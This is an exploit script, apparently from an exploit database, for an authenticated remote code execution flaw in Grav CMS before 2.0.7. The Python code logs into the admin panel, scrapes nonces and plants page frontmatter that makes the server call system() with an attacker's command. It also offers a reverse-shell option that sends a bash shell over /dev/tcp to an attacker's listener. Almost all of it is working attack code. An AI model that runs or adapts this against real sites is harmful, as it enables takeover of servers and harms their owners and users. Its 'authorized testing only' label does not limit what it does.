Grav CMS 2.0.7 – RCE
#!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys import time from urllib.parse import urljoin import requests requests.packages.urllib3.disable_warnings() BANNER = r""" . * . * GRAVITY FAIL * . * _____ .-' '-. / RCE INSIDE \ | system(\"id\")| \ www-data / '-._______.-' CVE-2026-65008 | Blueprint went brrr """ class GravExploit: def __init__(self, base_url, username, password, verify=False): self.base_url = base_url.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" }) self.nonce = None def login(self): print("[*] Logging in...") login_url = urljoin(self.base_url, "/admin") r = self.session.get(login_url, timeout=15) match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text) if not match: print("[-] login-nonce not found") return False data = { "data[username]": self.username, "data[password]": self.password, "task": "login", "login-nonce": match.group(1) } r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15) if "login-nonce" in r.text and "data[username]" in r.text: print("[-] Login failed") return False print("[+] Login successful") return True def get_admin_nonce(self): r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15) patterns = [ r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", r"admin-nonce:([a-f0-9]+)", r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', ] for pattern in patterns: match = re.search(pattern, r.text) if match: self.nonce = match.group(1) return True return False def plant(self, command, folder="rcepoc"): print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}") if not self.get_admin_nonce(): print("[-] Could not get admin-nonce") return False safe_cmd = command.replace("'", "'\\''") frontmatter = f"""forms: x: fields: y: type: text data-opts@: - 'Grav\\Common\\Utils::arrayFilterRecursive' - {{ '{safe_cmd}': 'x' }} - system""" data = { "task": "save", "admin-nonce": self.nonce, "form-nonce": self.nonce, "data[folder]": folder, "data[name]": "form", "data[title]": "RCE", "data[content]": "pwned", "data[frontmatter]": frontmatter } url = urljoin(self.base_url, f"/admin/pages/{folder}") r = self.session.post(url, data=data, timeout=15) if r.status_code not in (200, 302): print(f"[-] Plant failed (HTTP {r.status_code})") return False print("[+] Payload planted") return True def trigger(self, folder="rcepoc", timeout=8): print("[*] Triggering payload...") try: r = requests.get( urljoin(self.base_url, f"/{folder}"), timeout=timeout, verify=False ) return r.text, False # (body, timed_out) except requests.exceptions.ReadTimeout: return None, True # timed out = muhtemel shell except Exception as e: print(f"[-] Trigger error: {e}") return None, False def run_cmd(self, command, folder="rcepoc"): if not self.plant(command, folder): return None time.sleep(0.5) body, timed_out = self.trigger(folder, timeout=12) if timed_out: print("[!] Request timed out (command may still have run)") return body def reverse_shell(self, lhost, lport, folder="rcepoc"): payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' print(f"[*] Reverse shell target → {lhost}:{lport}") print(f"[!] Make sure listener is running: nc -lvnp {lport}") print(f"[*] Payload: {payload}") if not self.plant(payload, folder): print("[-] Failed to plant reverse shell payload") return False time.sleep(0.6) body, timed_out = self.trigger(folder, timeout=6) if timed_out: print("[+] Request timed out → reverse shell likely connected!") print("[+] Check your nc listener.") return True else: print("[-] Request finished without timeout.") print("[-] Reverse shell probably FAILED (listener empty?).") if body: # Komut çıktısı geldiyse göster (hata mesajı olabilir) snippet = body[:300].replace("\n", " ") print(f"[*] Response snippet: {snippet}") return False def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-U", "--username", default="admin", help="Username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute") parser.add_argument("--lhost", help="Reverse shell LHOST") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT") parser.add_argument("--folder", default="rcepoc", help="Page folder name") parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification") args = parser.parse_args() exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify) if not exploit.login(): sys.exit(1) if args.lhost: ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder) sys.exit(0 if ok else 1) output = exploit.run_cmd(args.command, folder=args.folder) if output: print("\n" + "=" * 60) for line in output.splitlines()[:20]: if line.strip() and not line.strip().startswith("<"): print(line) print("=" * 60) print("[+] Done") else: print("[-] No usable output") if __name__ == "__main__": main() |